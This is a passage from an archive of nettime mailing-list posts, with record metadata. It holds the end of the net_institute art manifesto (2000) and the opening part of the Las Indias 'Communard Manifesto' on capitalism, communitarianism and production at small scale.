commercial culture.\ntext_based concept does not deal with a bookish culture but with\ncomputer keyboards and mailing lists to write a bottom-up culture.\n\n\n\n|| \n\nc o d e _ c u l t u r e\n\nthe net_institute explores the digital culture neuropathy that neither\nactivists nor the sharpest critics are able to perceive. this narcosis\nof consciousness can be observed in the wired family and in all the net\nusers, hackers included: the computer medium has mathematicized and\ndigitalized the mind and its irrational and analogic impulses. after the\nearly period of domestication to the medium, the net_institute tries to\nsubvert its inner logics, to bypass the machine code, to explore its\nlimits. otherwise the net_institute thinks that the turing machine\nlanguage could be a therapy for the 'weak thought' of western\nintellectuals.\n\n\n\n|| \n\nn o t _ a r t\n\nthe net_institute considers more necessary and interesting to build\npathological containers than pathological contents. in order to set\nschizophrenia and creativeness free, they should be forced into an\nobsessive, allucinatory and claustrophobic space, in an articial light.\nthe net_institute was born far away from the ergonomic european new\nmedia centers. the net_institute steals and implements the most\nsclerotic appearances of power, with no provocative intentions, to show\nthe failures and contradictions of underground and overground\nlifestyles. in a world where institutional culture is kept alive with\ntransfusions of counter-culture, and upper class fashion wears the\nstreet-style, the net_institute causes activism to lose its bearing. the\nnet_institute does not play with the superficial interface of two\nbrowsers as well as net art does, but works with the deep framework of\nthe internet machine to have its underground exposed. the most beatiful\nartwork is the idea - the meme that manages to spread and reproduce\nitself widely and actively.\n\n\n\n||\n\n\n\nt o t a l i t a r i a n _ m a c h i n e r y\n\nthe net_institute is a perfect overturning of the kafkesque universe: it\nis an institute where the outside is the inside like in the klein\nbottle: logically you are already inside it. the institute is a\ntotalitarian machinery because it celebrates the death of the author,\nthe artist, the individual, and the sexual and ethnic identity, through\nan anonymous, asexual and inorganic architectural simulacrum. anyone can\nconstruct and inhabitate the institute to find a home to own unstable\nidentities. following the example of the corporations, the individual is\nnot meant to espress him/herself, the institute cares about doing it in\nhis/her place.\n\n\n\n||\n\n\n\nr e t r o _ a v a n t g a r d e\n\nthe net_institute is a paranoid disguise of schizophrenic forces against\nthose paronoid forces that in western society pretend to be\nschizophrenic. the net_institute faces the e-nomination and the\ninvisibility of the new power and economy using the heavy and material\nimage of an institute. laibach, nsk, luther blissett, rtmark, balkania\nand the net_institute are examples of practices that do not face the\nsystem 'correctly' but deconstruct it from the inside by the means of\naesthetic, semantic, polical, legal short-circuits.\n\n\n\n|| \n\nc o n n e c t i v e \n\n\n\nn a m e\n\nthe net_institute is the reincarnation of luther blissett as a\ncollective open pop star, an evolution of the multiple name's karma when\nthe name started being used for boring 15-minutes celebrities. luther\nblissett is not only a multi-use and multi-user name but also a\ncollective myth that can animate new narrations and new devices. the\nnet_institute represents its further implementation. the net_institute\nis not indeed a collective name, but a connective one, not the name of a\ncharacter but a structure_name. in other terms, the net_institute can be\ndescribed as an urban and institutional architecture built on and for an\nopen-architecture pop star. the net_institute is not a metaphor but a\npolitical and aesthetic device to construct urban and international\nnetworks, to deconstruct the cultural and mass media industry, to\nreconquest the territory, to find a home for unstable identities. when\nthe masses and the media are acclaiming a harmless luther blissett, it\nis the right time to kindly offer them a totalitarian institution.\nbecome net_institute.\n\n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n\n__\n\n  n 3 t _ ! n s t i t u t  e\n\n             __   __\n    ________/ /  /_/\n   /___  __  /  __\n      / /_/ /__/ /__\n     / ____________/\n    /_/\n\n  http://net-i.zkm.de\n  mailto:net-i@zkm.de\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "id": "00034",
                "date": "Mon, 3 Apr 2000 18:06:57 +0200",
                "to": "nettime-l@bbs.thing.net",
                "message-id": "v04220801b50e705d2f49@[62.10.104.216]",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0004/msg00034.html",
                "list": "nettime_bold",
                "author_name": "net_institute_apparatus",
                "subject": "[Nettime-bold] the net_institute manifesto"
            },
            {
                "id": "00000",
                "content": "[This strikes me as the most advanced attempt to outline a historical\nperspective on an emancipatory trajectory contained within the current\ncrisis. It's not simply a theoretical text, but a testimony to the scope\nof vision driving the development of the Spanish \"rebel cities\".\n\nThe manifesto makes two key arguments. First, the two main social\ninstitutions of our time -- the state and the markets -- are are\n\"decomposing\". As a consequence, ever more economic activity is devoted\nto rent-seeking rather than production, leaving ever greater numbers of\npeople as \"exiles\" from the still dominant society (and open to\ndestructive communities of nationalists, racists and jihadists).\n\nSecond, that technological (and organisational) advances have altered\nithe scale necessary to produce many necessary products and social\ngoods (think from atomic power-plants to solar panels). This enables\nmany of these goods to be produced outside the market (what they call\n\"p2p economy\") and where the market remains necessary through \"direct\neconomy\" meaning ways of raising the necessary capital that does\nnot hand over control over the productive process to the owners of\ncapital.\n\nIt's a very long text, so I split it up in two mails in old nettime\ntradition, but it's really worth reading in its entirety. Felix]\n\n\n\nhttps://lasindias.com/the-communard-manifesto-html\n\nCommunard Manifesto\n\n        The dilemma of our time\n            Abundance within reach\n            Inequality, unemployment and demoralization\n            What is decomposing is not only the economic system, but\n            what the human experience means\n        Capitalism and its critics\n            Capitalism shaped the world because, before changing the\n            State, it was able to create a new form of human experience\n            Revolutionaries that loved crises and large scales\n        The history we weren\u2019t told\n            The new world will be born and affirmed inside the old\n            New relationships, here and now\n        Scale and scope\n            From the era of economies of scale\u2026\n            \u2026to the era of the inefficiencies of scale\n            Today, capital is too big for the real productive scale\u2026\n            \u2026 and the optimal scale is approaching community dimensions\n        Building abundance here and now\n            Abundance has to do with production, not with consumption\n            A scarce product in a decentralized network is abundant in \t\n            a distributed network\n            The \u201cP2P mode of production\u201d is the model for the\n            production of abundance\n\n(PART 2/\"2)\n            The two faces of productivity\n            Artificially creating scarcity has become a way of life for\n             over-scaled industry\n            Abundance is the magic that shines through the \u201chacker\n            ethic\u201d\n            The path of abundance does not mean producing less\n            What will we do about the overuse of natural resources?\n            Connecting the dots\n        Conquer work, reconquer life\n            To be unable to access work is to be in social exile\n            There\u2019s no self-realization without work\n            To conquer work is reconquer life\n        From adding to multiplying\n            The scene will be urban\n            The tasks of the communards\n            You are the protagonist\n        Appendix: concrete things you can do with this manifesto\n            Expand the conversation\n            Prepare to \u201cmake community\u201d\n\nTo the friends in the Club de las Indias,\nbecause we owe them the most valuable half of this manifesto.\n\nTo the communards of all times,\nbecause their mistakes left us with the right questions.\n\nTo the new communards across the whole world,\nbecause their enthusiasm brings us closer to the spirit of a time to come.\n\nThe dilemma of our time\nAbundance within reach\n\nNever before in History of humanity have technical capacities been as\npotent and accessible to common people as today. The massive development\nof the Internet through the \u201990s profoundly changed ways of socializing,\nsharing, and working. Wealth was created in places that were socially\nand geographically peripheral by the hands of millions of small\nproducers that, for the first time, could effectively access other\nmarkets and knowledge. In Asia alone, we saw hundreds of millions of\npeople escape misery, more than in the rest of the history of humanity.\n\nAs technological change became generational and social change, there\nappeared more and more environments of abundance, free goods, new forms\nof collaborative work and, above all, a new work ethic based on\nknowledge, the creation of goods, and \u201cde-alienation.\u201d The \u201chacker\nethic,\u201d as it was termed at the turn of the century, inspired the birth\nof first universal public good to be intentionally constructed by our\nspecies: free software, which, by itself, has meant a transfer of\nknowledge and technology greater than all developmental aid from rich\ncountries.\n\nAnd, yet, not even the other great crisis of the last hundred years\u2014the\none that started with the \u201cCrash of \u201929\u2033\u2014created such discontent, such a\ndark spirit, and so much widespread pessimism. Neither admonitions nor\nhope work any longer to create attractive narratives. Well-being has\nceased to be a credible expectation of analysts\u2019 predictions or\npolitical parties\u2019 options, whether old or new. All lines of contention\nhave been shown to be futile for the common people. We\u2019re entering a\ntime in which no narrative can be believed if can\u2019t demonstrate, here\nand now, that it successfully allows a new generation to develop and\nlive decently through work.\n\nInequality, unemployment and demoralization\n\nAnd, if anything has been really global over the last ten years, it\u2019s\nbeen the experience of social decomposition. It\u2019s the same whether we\nlook in the most developed regions in the world or at emerging nations,\nin the Mediterranean or in the South China Sea, in the English-speaking\nworld or in South America: society is more and more unequal, and the\ndifferences quickly become cumulative. If you miss the train, you don\u2019t\nreach the destination.\n\nIn the most developed nations, the middle class has rediscovered\nunemployment. New generations don\u2019t even have access to work, or if they\ndo, it\u2019s so precarious that it doesn\u2019t let them experience the meaning\nreal of what they do. Work has ceased to be considered the center of\ncollective action, the origin of personal autonomy, and each person\u2019s\ncontribution to society. In today\u2019s popular culture, work is a scarce\ngood. There\u2019s no lack of start-ups and NGOs that speculate with it, as\nif it was a precious metal. Work, the necessary link between personal\neffort and collective effort, is devalued to the limit, not only in the\nmarket\u2014reducing its piece of the pie compared to capital\u2014but also\nmorally, in its public consideration and in its internal organization.\nIt has gone from being universally considered the center of social\norganization to being perceived as facing extinction, from being\nexperienced as the basis of personal realization to being seen as a\nsource of anguish.\n\nIn a world where being able to contribute to the common well-being, work\nis talked about as if it was a privilege, and the only way of building a\nlife seems to be getting rents. Rents are not just any income, but an\nopportunistic and undeserved position, a extraordinary benefit produced\noutside of the value that one contributes. Rents are the benefits\ncreated by big businesses thanks to made-to-fit regulations or\nmonopolies that only exist by legal imposition, like intellectual\nproperty. Rents are \u201cincentives\u201d that are decided on and inflated by the\nsame directors that receive them, or the consequences in cold, hard cash\nof belonging to certain social spheres where certain positions and\ncontracts, public or private, can be accessed. Rents easily become\ncumulative and create a spiral of inequality when access to information\nand education depends on personal income, or when competition to assure\nthem is systematically restricted, as the State routinely does in key\nsectors like energy, telecommunications or the media.\n\nIn a world of rents, everything looks like a zero-sum game, where one\nwins because others lose. Distrust of everything and everyone,\ninstitutions and people, is the norm. It shows an individualism of the\nworst kind, for which life is senseless, and mere survival.\nWhat is decomposing is not only the economic system, but what the human\nexperience means\n\nIt\u2019s not just social cohesion that\u2019s decomposing. The rules of the\neconomic system are decomposing, and with them, the human experience and\nwhat it means to be human in our time. It\u2019s the inability of the\neconomic system to create a future for everyone the that produces\nloneliness and distrust of everyone; it\u2019s the pettiness of a system in\nwhich businesses depend on the benefits they get thanks to rents more\nthan selling their products, or on eliminating competitors more than\nimprove themselves, that produces lives of dependency, begging, and\nvoracity.\n\nNever has there been so much wealth or so much knowledge as now and,\nyet, far from feeling like both things give hope of abundance for\neveryone, more and more people are afraid that this is a threat to\nNature, the same way they feel, day in and day out, like it\u2019s a threat\nto personal survival.\n\nCapitalism and its critics\n\nThere were a time when capitalism transformed the world, bringing our\nspecies closer to the abundance that, today, scares it so much. The\n\u201ccancer of business\u201d took over from the old European societies, feudal\nfirst and colonial centuries later, and smashed them from within in a\nlong process of almost six hundred years. Capitalism, which started off\nas marginal\u2014urban in a rural world, dynamic in a traditional society,\nequalizing in a system in which identity was based on lineage and\norigin\u2014was revolutionary right from its first steps. In the city and its\nmarkets, it created new lifestyles and mentalities, new forms of\nknowledge, new freedoms, and new collective belongings.\nCapitalism shaped the world because, before changing the State, it was\nable to create a new form of human experience\n\nCapitalism created a new form of human experience and, by doing so,\ndynamited established relationships, its castes and its classes. It\nwasn\u2019t the work of a generation. It could only deploy its full potential\nafter centuries of evolution and entrenchment, of turning\nfairs\u2014temporary markets\u2014into a large, permanent urban workshop and,\nlater, turning the guild craftsman into a factory worker under the thumb\nof the merchant investor, who bought the materials and carried the\nproducts to distant markets. It was only then that industrialization\nmade a profound social transformation out of what, until then, had only\nbeen \u201ctendencies.\u201d It was the great revolutionary moment of the bourgeoisie.\n\nIn the first place, capitalism made a commodity of land, the principle\nmeans of production of the times. In the process, the agrarian and\nforest commons\u2014the oldest and most widespread form of property\u2014came to\noccupy a marginal place. And, with it, the real community of the family,\nthe clan or the village, in which everyone knows each other by face and\nname, because they are linked to them by interpersonal relationships and\naffection. The vacuum was filled throughout the nineteenth century by\nanother innovation: the imagined community of the nation. \u201cImagined\u201d not\nbecause it was unreal, but because those who are considered its members\ndon\u2019t know more than a tiny portion of the others, and have to imagine\nthe rest through common attributes, practices, values, and memories,\nwhich are always debatable. Fraternity based on the friendship of\npersonal relationships and shared work will give way to an abstract\nfraternity in search of a \u201ccommon good\u201d that the new social classes\nlinked to wage labor make a permanent part of social discourse.\n\nSecondly, work became indistinguishable from whoever did it, because of\nthe homogenization of the processes in the new productive space of\nsociety: the factory. The new relationship with work and, through it,\nwith society and nature, was impersonal and anonymous, and no longer had\nto do with \u201cbeing,\u201d with lineage, or with geography. The vacuum created\nby the dilution of the servant, the communard and the guild craftsman\nwas filled by a new abstract human type: the \u201cindividual.\u201d\n\nAlthough it may sound strange today, that whole advance\u2014which allowed\nhumanity to grow in number, well-being, and knowledge like never\nbefore\u2014was produced thanks to making a commodity of everything that,\nuntil then, had not been, like land, which hadn\u2019t usually been rented or\nsold, only possessed.\n\nEven for the revolutionaries of the nineteenth century, it was\nimpossible to deny the progressive nature of the great works of\ncapitalism. They were well aware of how the industrial boom brought\nHumanity towards abundance, increasing knowledge and its practical\nconsequence, technology. They were witnesses of the formidable\nhistorical spectacle of a world in revolution where distances were cut,\nthe population multiplied, energy and water flowed in people\u2019s houses\nfor the first time, and the most distant and closed empires saw their\nwalls give way before the onslaught of global commerce in manufacturing.\nFor the first time in history, humanity as such took on a real\nexistence: through new markets, we would all end up connected with\neveryone throughout the world; and in the factory, the immense majority\nof society would share a common experience\u2014and therefore, would come to\nbe the same thing\u2014to the rhythm of the new mechanical geniuses.\nCapitalism, as they saw it, was preparing an egalitarian society through\nequality of living conditions, work, and social relationships that that\nit was, itself, expanding.\n\nRevolutionaries that loved crises and large scales\n\nBut those revolutionaries saw something more: the growth of capitalism,\nin the first place, wasn\u2019t the least bit linear. Its crises, like all\nprior crises, produced underconsumption (scandalous, miserable\nsituations for those excluded from production). But, in contrast to the\ncrises of agrarian societies, capitalist crises weren\u2019t crises of\nunder-production, but of \u201cover-production\u201d: it\u2019s not that the factories\ncouldn\u2019t produce enough for the needs of all, it\u2019s that the very dynamic\nof the economic system made it impossible for them to sell it to the\ngreat masses that needed it, because they didn\u2019t have the money to buy\nwhat was produced. Additionally, the revolutionaries asserted that all\nthis happened regularly, in cycles in which each decline necessarily led\nto a confrontation between an ever-more concentrated group of owners and\nan ever-more global and uniform class of workers. Everyone would\nstruggle in a large global revolution for control of the States that\nheld the social structures in place until, similar to what the\nbourgeoisie of the eighteenth century did in the French Revolution, the\nproletariat would take control of the State with one purpose: to direct\na massive process of decommodification, giving way to a society of\nabundance where the essential purpose of production was to serve this or\nthat need, instead of being sold as objects and services for a price.\n\nMarx and Kropotkin never proposed to to close the factories. They\nthought that crises of overproduction signaled a limit of capitalism,\nthe limit at which the logic of the commodity clashed with human needs.\nBut they saw in the technology of mass production and in the\never-greater scale of the businesses a reflection of the progress that\nwould lead the working class to \u201cchange the world from underneath.\u201d They\nthought that by eliminating the commodity nature of objects, the\n\u201cproductive forces would be released,\u201d which is to say, that\nproductivity would be developed even more, and with it knowledge,\nwell-being, etc. The very scale of production would also develop, until\nit constituted a great global factory-State, so productive that it could\nsatisfy the material needs of all humanity with nothing more than\nvolunteer work.\n\nNothing of the sort happened. No \u201cglobal revolution\u201d took place. Since\n1871, there were local and national revolutions in which communists and\nanarchists looked for its first signs. Most were overthrown; none was\nable to produce on a larger scale during the following cycle of growth\nand crisis; and those that triumphed never brought about the\ndecommodification of production. On the contrary, they gave power to\nrepressive, totalitarian regimes, with very hierarchical and inefficient\nnationalized economies and such low levels of well-being among workers\nthat they belied every delusion of the \u201cliberation of productive\nforces.\u201d When the Soviet Union fell and China took its first steps\ntowards capitalism controlled by the Communist State, communism and\nsocialism were discredited as alternatives. In the \u201990s, their place was\ntaken by \u201canti-capitalism,\u201d which fluctuated between affirming that\nanother world was possible and denying that capitalism and the human\nspecies could survive together, but avoided explaining how the former\nwould become real and what made the latter inevitable. To a certain\ndegree, this was the result of the sense of profound failure of\n\u201calternative\u201d thought that followed the fall of the Berlin Wall in 1989.\nBut, lacking a theory of its own, it would become an invertebrate\nsocialism, a \u201cbig no\u201d into which anything and everything would fit. It\nwas, in a certain way, a leftism chastened by false socialist paradises,\nhesitant when it came to describing any future society, and far removed\nfrom any pretense of building functional models in the present.\n\nLa historia que no nos contaron\n\nDecades before the first socialist and libertarian groups of any weight\nwere formed, an alternative trend had started down a long path with a\nvery different focus: communitarianism.\n\nThe new world will be born and affirmed inside the old\n\nThe basic idea of communitarianism is that the new world will be born\nand grow inside the old. Profound changes in social and economic\nrelationships\u2014system changes\u2014are not the product of revolutions and\npolitical changes. It happens the other way around: systemic political\nchanges are the expression of new forms of social organizing, new\nvalues, and ways of working and living, that have reached enough\nmaturity to be able to establish a broad social consensus. As of a\ncertain point in development, a \u201ccompetition between systems\u201d is\nestablished. The new forms, until then valid only for a small minority,\nbegin to seem to be the only ones capable of offering a better future\nfor the large majority. Little by little, they expand their spectrum and\ntheir number, encompassing and transforming broader and broader social\nspaces, and become the center of the economy, reconfiguring the\ncultural, ideological, and legal basis of society from within.\n\nFor communitarians, egalitarian forms should accompany capitalism in its\nevolution as a parallel society, not as a utopia\u2014the promise of a\nsociety to come\u2014except as a heterotopia: a different, alternative social\nplace, with values and ways of its own. At first, they do it from\nbehind, through learning, utilization and re-elaboration of existing\ntechnology and, as of a certain point, entering in competition with it.\nThis perspective was called \u201cconstructive socialism.\u201d\n\nThe first objective was always to show the feasibility of a\ndecommodified life, \u201chere and now,\u201d on any scale. Communitarianism is\nnot centered on creating political parties, but networks of small\nproductive egalitarian communities. The maxim of economic organization\ncomes to be \u201cfrom each according to their abilities, to each according\nto their needs\u201d: communities of goods, revenue, and savings are\nestablished, production is organized by consensus, and from the\nbeginning, the highest diversification is sought to serve the diversity\nof personal needs and gain autonomy for all.\nNew relationships, here and now\n\nFrom 1849 to today, egalitarian communities have always been working:\nIcarian communities, Russian artels, Israeli kibbutzim, US, Japanese, or\nGerman egalitarian farms\u2026 They\u2019ve been on practically all continents,\nthey\u2019ve had different names and nuances in different times and places,\nthey\u2019ve been through all manner of crises, and their members have made\nenormous sacrifices. In place of the centrality of the class nature of\nthe collectivist narrative, they wrote a story of their community and\ntheir experience, which gave substance to the central idea of\nconstructive socialism: building\u2014here and now, within the community and\nbetween it and its surroundings\u2014social and economic relationships that\nare desired or postulated as valid alternatives to the existing\nsocioeconomic system, without delegating power to parties or\norganizational structures outside of the communities themselves. Without\nthinking of themselves as \u201cexperimental\u201d or having detailed \u201croadmaps,\u201d\nthey have created a heritage and a culture themselves, little by little.\nThey are the seeds of a society of abundance.\n\nIn the framework of the young and expansive capitalism of the nineteenth\ncentury, or the capitalism of technological revolution and permanent war\nthat followed up through the present, if these \u201cdecommodified islets\u201d\nwant to maintain their autonomy and approach abundance, they have to\nenter the market: to live without needing money at all within the\ncommunity, they must learn to think like merchants outside of it. It\u2019s\nno contradiction: being in the market is the only way to not lose the\ntechnological pace of the system they want to overcome. But, at the same\ntime, it\u2019s the way to bring the first cultural and technological fruits\nof the new society to the old society. It is, in many senses\u2014including\nthe moral, since it aspires to expand the improvement in living\nconditions to more people\u2014the first step towards a competition between\nsystems.\n\nThe bourgeoisie, in its medieval infancy, introduced the revolutionary\nprinciple of equality of origin and a few technological improvements\nthat expressed their vision of the world into some small spaces in\nfeudal society. All of them happened far from the center of the\nproduction of value at the time, the fields. The medieval commercial\nbourgeoisie invented important things, but eccentric for the times, like\nthe check, the letter of exchange, and double-entry accounting. In\ncontrast, communitarianism demonstrated from the first day the\nfeasibility of an economic organization thought of in terms of the\nneeds. It was the first to make a reality of equality in spite of\ndifferences in gender or social or geographical origin, and across the\n20th century, left a series of pioneering technologies: weatherization\nand sanitation in popular housing; the improvement of agricultural\nproductivity, like drip irrigation, seed improvement, or the scientific\nmanagement of dairy facilities; the development of free software for\ndistributed networks; and the first analytical tools for public\nintelligence. These are innovations that continue to be significant and\ncloser and closer to the productive core of the economic system.\n\nIn what little we\u2019ve seen of twenty-first century, that sense of a\ncultural and technological \u201cmembrane\u201d between the past and the future,\nbetween capitalist society and the small, decommodified space of\negalitarian communities, has become even more clear. The appearance of\nnew ways of producing based on new forms of communal property\u2014like free\nsoftware\u2014and distributed communication architectures\u2014linked directly to\ndecommodification and the creation of abundance\u2014put forth the notion\nthat we are on the threshold of a new phase in which we will be able to\nchange the nature of that competition between systems.\n\nBut, above all, what justifies a new time for the development of\ncommunitarianism is an irreversible economic change that has been\nimposed gradually: the reduction of the optimal scales of production.\nThis decline in the optimal productive scale explains the deep trends\nthat have produced the current economic crises, and why the political\nand corporate responses are often times counterproductive. And any\nalternative is not centered on social class or the nation, but on community.\n\nScale and scope\n\nThe optimum scale is most efficient dimension of the productive units of\na society, the size as of which inefficiencies created by having to\nmanage the excessive size of those units exceeds the benefit produced by\nbeing a little bigger. For each dimension of the market and each\ntechnological level, there exists an optimal scale of production, and it\nturns out to be easy to understand that, in principle, technological\ndevelopment reduces the optimal dimensions, because the better the\ntechnology, the fewer resources\u2014work hours, capital and raw material\u2014are\nneeded to produce the same quantity of products.\n\nFrom the era of economies of scale\u2026\n\nDuring the height of capitalism, in the 19th century, between British\nimperialism\u2019s bet on free trade, American expansion, European\nunifications and the revolutions in transportation\u2014the clipper, the\nrailroad, and steamboats\u2014markets grew much faster than productivity. The\noptimum size always remained out of reach, and capital to reach it was\nalways scarce. It was the Golden Age, and it saw the most authentic of\njoint-stock companies: gigantic collective efforts that brought together\nthe savings of tens of thousands of small savers and capitalists to put\nwhole countries into production, to charter faster and faster boats, lay\ntelegraph cables across oceans, or cross continents from end to end with\nrailways.\n\nFor a long time, the continuous growth of scale seemed to confirm the\nMarxists, Kropotkinists, and social democrats. In all of their economic\nmodels, underneath the permanent expansive dynamic of capitalism, there\nwas the need to reduce prices by increasing production per hour to\nsurvive competition and even\u2014if the owner was the first to incorporate\nnew machines or technologies\u2014get extraordinary benefits while other\nfactories adapted. Every time productive capacity increases, the benefit\nthat each unit of product contributes is reduced, so to maintain or\nincrease the total benefit, the owner has to produce even more quantity,\nwhich requires the incorporation of new machines and processes to reach\na still-greater scale. Finally, according to these authors, when\nproduction approaches or even exceeds the potential size of the market,\ncrises of overproduction erupt.\n\nThis model, described for the first time by Marx, is known as \u201claw of\nthe tendency of the rate of profit to fall.\u201d For decades, Marxist\neconomists repeated the mantra that \u201cthe decreasing tendency of the rate\nof profit is compensated for with the increase in the mass of product\u201d\nand took for granted that each cycle of growth and crisis would begin\nwith a greater scale and would increase it further still. Accordingly,\ncapitalism was on the path to create big businesses, true global\nmonopolies in each and every industrial and consumption market, which\nfit like a glove both with the quasi-religious Marxist vision of a\ngreat, revolutionary, global Armageddon between the proletariat and the\nbourgeoisie, and with the social-democratic vision that socialism would\nbe the result of the nationalization of the great industries by the\ndemocratic state as they reached critical sizes.\n\nHowever, underneath both models, revolutionary and\nreformist-nationalizing, was a presumption that would soon be shown to\nbe erroneous: that in each cycle, greater effective demand would appear.\nIt\u2019s obvious that the average scale of the businesses in the capitalist\nworld would not increase unless owners could foresee a growing volume of\ndemand, because with demand that was not growing globally, if they could\nproduce the same thing with fewer resources, they weren\u2019t going to\nincrease scale, but reduce it.\n\nAt time when Marx was writing his economic theory\u2014in fact, for almost\nthe entire 19th century\u2014that extraordinary demand came largely from the\nincorporation of Asia and Africa into the world market. Colonialism, by\nsubjugating backward economies and tearing down trade barriers for\nBritish and French products, continuously increased the demand for\nmanufactured products, overcoming the tendency to reduce the size of the\nproductive units that drove technological development.\n\n\u2026to the era of the inefficiencies of scale\n\nWe could put the date of the change at 1914. Twenty years after the\ncolonial division of Africa among the great industrial powers at the\nBerlin Conference, the expectation that new, extra-capitalist markets\nwould join those of the great powers had already dissipated. Territorial\ntensions in Europe reflected the rigidity of the delimitation of\ncolonial borders. The war that was about to break out was a \u201cworld war\u201d\nprecisely because it meant the end of the first stage of the\nconfiguration of a unified global market. Marxist prophecies were coming\ntrue. The crisis of \u201929 would seem to corroborate them. However, from\nthere\u2014through another World War, the processes of decolonization in\nAfrica and Asia, and a very long Cold War\u2014the evidence set about\ndismantling the idea that capitalism was constantly evolving towards\nincreases in the scale of businesses.\n\nIn fact, big national businesses\u2014which flourished at the beginning of\nthe twentieth century, after the war\u2014were only central in the socialist\ncountries and for some nationalist regimes in backward nations. Both in\nthem and in the developed world, where they briefly flourished as a tool\nof post-war reconstruction, they were not the \u201cspontaneous\u201d result of\nthe evolution of markets. In every case, they were a shortcut to get\nproduction underway and reinvigorate industry after the enormous\ndestruction left by the crisis and war. But they soon reached a ceiling,\nespecially in the framework of the planned economies for which they had\nbecome a banner. In each new phase of technological development, Big\nState Businesses increased inefficiencies and their costs, which, in an\nauthoritarian and centralized system, would spread with extraordinary\nspeed across the economic system. The USSR, which promised to \u201covertake\nthe USA\u201d in the middle of the \u201960s, entered into a crisis by the \u201970s,\nand into open decomposition in the \u201980s.\n\nIn the Western bloc, not even the largest multinationals had dimensions\ncomparable to the great State dinosaurs of the USSR, and yet the weight\nof the inefficiencies of scale started to be obvious by the mid \u201950s.\nThat was when economist Kenneth Boulding called attention to problems of\ncommunication, management, and control in large, pyramidal\norganizations. Boulding also warned that, given the size and weight of\ncertain companies in the economic system and their effect on employment,\ninefficiencies threatened to spread to the whole economy through the\nstate, since over-scaled businesses competed to \u201ccapture it\u201d and to make\nup for the costs of inefficiencies due to over-scaling with rents\nresulting from tailor-made regulations.\n\nFollowing Boulding\u2019s warnings, technological research then became\ncentered on information science and data management, on communications,\nand on forms of work. The \u201cinformation revolution\u201d that started at that\ntime was the first line of defense against the effects of of\nover-scaling. It wasn\u2019t enough, however. In the middle of the \u201970s, it\nbecame obvious in Europe\u2014and not only there\u2014that the State of the\npostwar period, captured by big businesses and sectoral interests, was\neffectively unviable.\n\nThis was when the set of policies called \u201cneoliberalism\u201d was designed.\nIt was basically an attempt to confront the results of over-scaling in\nthe other possible way: by expanding markets. What\u2019s original about\nneoliberalism is that not only does it extend markets in space\u2014through\nreduction of tariff barriers and creation of free-trade zones\u2014but also\nover time, with the use of new tools such as \u201cfinancialization.\u201d\nToday, capital is too big for the real productive scale\u2026\n\nIt\u2019s well known how financial innovations and deregulation came together\nto lay the foundations for the global crisis of 2008. What\u2019s less\ndiscussed is that in the same \u201cexuberance of capital\u201d that preceded the\ncrash, a problem of excessive scale was manifested. Investment\nexuberance is a mass mirage produced by the hopelessness of investors\nwho can\u2019t find a place for their capital.\n\nAlso, this problem, already endemic, was multiplied by the capture of\nthe State and of the market itself by banks. The State had deregulated\nfinancial activity for the benefit of the big banks beyond a reasonable\npoint. State agencies were powerless, and often conditioned or seduced\nby pressure from institutions that were considered \u201csystemic,\u201d and had\nturned \u201ctoo big to fail\u201d into a pirate flag. And not even the market\ncould act as a counterweight. With ratings agencies captured by their\nown customers\u2014and distributing hyper-optimistic descriptions\u2014the mass of\nsmall investors could only follow the great tendencies of capital as an\nindependent indicator. The trouble is that that movement wasn\u2019t\nindependent at all, since the same financial groups were channeling it.\nThe result is a system that, even in midst of the crash, they contained\ntheir damage by abusing asymmetries of information and their power to\nset prices at the expense of their own customers. Today, eight years\nafter the fall of Lehman Brothers, that system remains basically intact.\n\nThe root of the problem was that the financial system was also suffering\nform the inefficiencies of over-scaling: the amounts of capital were too\nlarge in relation to real, productive businesses for anyone to pay\nattention to the reality of the investments; and even to find interest\nin investing in a scale that was known to be really productive. The\nproblem to solve was\u2014and is\u2014 \u201cplacing\u201d big piles of capital that\ncouldn\u2019t, and can\u2019t, find enough projects of their size.\n\nOver the last two decades, it\u2019s become common to hear complaints in the\neconomic press that fewer new large industries that justify grandiose\ninvestments are appearing than in prior periods.\n\nThe attempt to solve this that arrived with neoliberalism was to\n\u201cfinancialize\u201d whole markets: to \u201cpackage\u201d risks\u2014to \u201cdissolve\u201d some from\nover here with some from over there\u2014and create abstractions of value to\nbet, more than invest, those huge amounts of capital. Enron, the\nbusiness that made financialization its flagship product, made it\npossible to invest in things like \u201cMegabit of bandwidth installed\u201d or\n\u201cMegawatt consumed,\u201d showing that not even telcoms and energy companies\nwere capable of meeting the need to place large masses of capital on\ntheir own. And the famous mortgage derivatives, which were at the center\nof the crisis in 2008, showed that the construction sector had also\nbecome too small for the scale of capital that wanted to cast its lot\nwith it.\n\nThe crisis of 2008 made clear the origin of the \u201cdecomposition\u201d with\nwhich we begin this manifesto: the simultaneous destruction of the two\nmain social institutions, the State and the market, by the hunger for\nrents of over-scaled companies\u2014and financial companies are just the tip\nof the iceberg\u2014which see in them the only way to make up for their own\ninefficiencies of scale. What everyone saw in the financial sector in\nthe years that followed the bankruptcy of Lehman Brothers, was later\nseen with equal clarity in the dominant businesses in sectors as\napparently different as energy or agroindustry.\n\n\u2026 and the optimal scale is approaching community dimensions\n\nBut if the result of neoliberal financial policies was object of a\nprofound public scrutiny, what does not usually receive so much\nattention is how the information revolution joined the globalization of\ncommerce in goods with the reduction of optimal scales to create a whole\nseries of new productive forms. Surely the reason is that the first to\ntake advantage of it were thousands of Asian small businesspeople, the\ntrue engines of the drastic reduction in global poverty. Only more than\na decade later, in the middle of a crisis, have the new models started\nto reach Europe and America, driving a wave of sustained, small-scale,\nentrepreneurial projects on a new technological base and often oriented\ntowards niche demands in the global market.\n\nWe can group these new forms around two broad trends: the \u201cP2P mode of\nproduction\u201d and the \u201cdirect economy.\u201d The P2P mode of production\nreplicates the free software model in all kinds of industries where\nknowledge condensed into design, software, creativity, blueprints, etc.,\nis central to the creation of value; and can accumulate in a \u201cimmaterial\nuniversal commons\u201d that can be improved, reformed, and used in\nalternative ways for many kinds of different projects.\n\nThis multifunctionality of tools and value chains\u2014which is what\neconomists call \u201cscope\u201d\u2014 is the key to the direct conomy, a way of\ncreating products created by small groups and launching them on global\nmarkets by using, on the one hand, low-cost, adaptable, external\nindustrial chains and free software and, on the other, advance sales\nsystems or collaborative financing.\n\nThat is, before our 